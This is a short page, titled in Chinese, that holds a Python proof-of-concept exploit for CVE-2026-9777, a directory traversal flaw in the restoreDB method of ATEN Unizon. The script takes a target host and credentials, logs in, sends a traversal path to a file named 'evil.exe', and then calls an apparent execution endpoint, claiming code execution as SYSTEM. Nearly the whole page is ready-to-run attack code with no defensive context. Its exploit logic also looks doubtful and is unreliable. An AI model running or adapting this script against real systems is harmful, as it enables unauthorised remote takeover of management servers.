CVE-2026-9777：ATEN Unizon restoreDB目录遍历远程代码执行漏洞

# CVE-2026-9777 PoC - ATEN Unizon restoreDB Directory Traversal RCE # Vulnerability: Path traversal in restoreDB method leading to RCE as SYSTEM # Original advisory: ZDI-CAN-28578 / ZDI-26-381 import requests import sys TARGET_HOST = sys.argv[1] if len(sys.argv) > 1 else "https://aten-unizon-target" USERNAME = sys.argv[2] if len(sys.argv) > 2 else "admin" PASSWORD = sys.argv[3] if len(sys.argv) > 3 else "password" # Malicious payload: directory traversal path used in restoreDB method # The traversal sequence escapes the intended backup directory and # targets a writable location under the SYSTEM context. MALICIOUS_PATH = ( "..\\..\\..\\..\\ProgramData\\ATEN\\Unizon\\uploads\\evil.exe" ) session = requests.Session() # Step 1: Authenticate to ATEN Unizon management console login_url = f"{TARGET_HOST}/api/login" login_payload = { "username": USERNAME, "password": PASSWORD } resp = session.post(login_url, json=login_payload, verify=False) resp.raise_for_status() print(f"[+] Authenticated as {USERNAME}") # Step 2: Invoke the vulnerable restoreDB method with traversal path restore_url = f"{TARGET_HOST}/api/system/restoreDB" restore_payload = { "backupPath": MALICIOUS_PATH, "options": { "overwrite": True, "validate": False } } resp = session.post(restore_url, json=restore_payload, verify=False) print(f"[+] restoreDB response: {resp.status_code}") # Step 3: Trigger execution of the planted payload trigger_url = f"{TARGET_HOST}/api/system/restoreDB/exec" resp = session.post(trigger_url, json={"path": MALICIOUS_PATH}, verify=False) print(f"[+] Trigger response: {resp.status_code}") print("[+] Exploit completed - code execution expected as SYSTEM")